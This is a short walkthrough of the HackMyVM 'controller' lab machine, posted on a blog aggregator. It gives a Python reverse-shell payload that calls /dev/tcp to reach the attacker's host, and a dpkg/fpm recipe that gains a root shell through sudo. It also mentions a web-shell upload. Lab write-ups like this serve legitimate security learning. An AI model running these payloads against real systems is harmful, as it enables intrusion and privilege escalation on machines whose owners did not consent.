当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- 阿里云MySQL5.7安装以及部分主要问题(总和)
- v-bind用法:类动态绑定对象 数组 style样式 及函数方法
- easyswoole 使用redis执行geoRadiusByMember Count无效修复
- Baidu positioning js API
- 面试总结 22/7/22 面试中的重点
- PHP8.2中字符串变量解析的新用法
- MySql Advanced -- Constraints
- [vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
- 你的本地创建的项目库还在手动创建远端代码仓库再推送吗,该用它了
- [symfony/finder]最好用的文件操作库
猜你喜欢
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
PHP的几个有趣的打开方式:从基本到变态
PHP有哪些杀手级超厉害框架或库或应用?
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
12.什么是JS
js eventLoop 事件循环机制
第一次手撕代码,如何解出全排列问题
New usage of string variable parsing in PHP8.2
[league/climate]一个功能健全的命令行功能操作库
随机推荐
如何根据地图上的两个坐标点来确定方向
13. JS output content and syntax
PHP image compression to specified size
(8) requests、os、sys、re、_thread
PHP有哪些框架?
(6) 学生信息管理系统设计
16. JS events, string and operator
IO stream, encoding table, character stream, character buffer stream
ES6三点运算符、数组方法、字符串扩展方法
kali安装IDEA
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
vim edit mode
--fs module--
1.6一些今日学习
攻防世界—MISC 新手区1-12
项目中遇到的问题
14.JS语句和注释,变量和数据类型
uniapp | 使用npm update更新后编译报错问题
[symfony/mailer] An elegant and easy-to-use mail library
ES6迭代器解释举例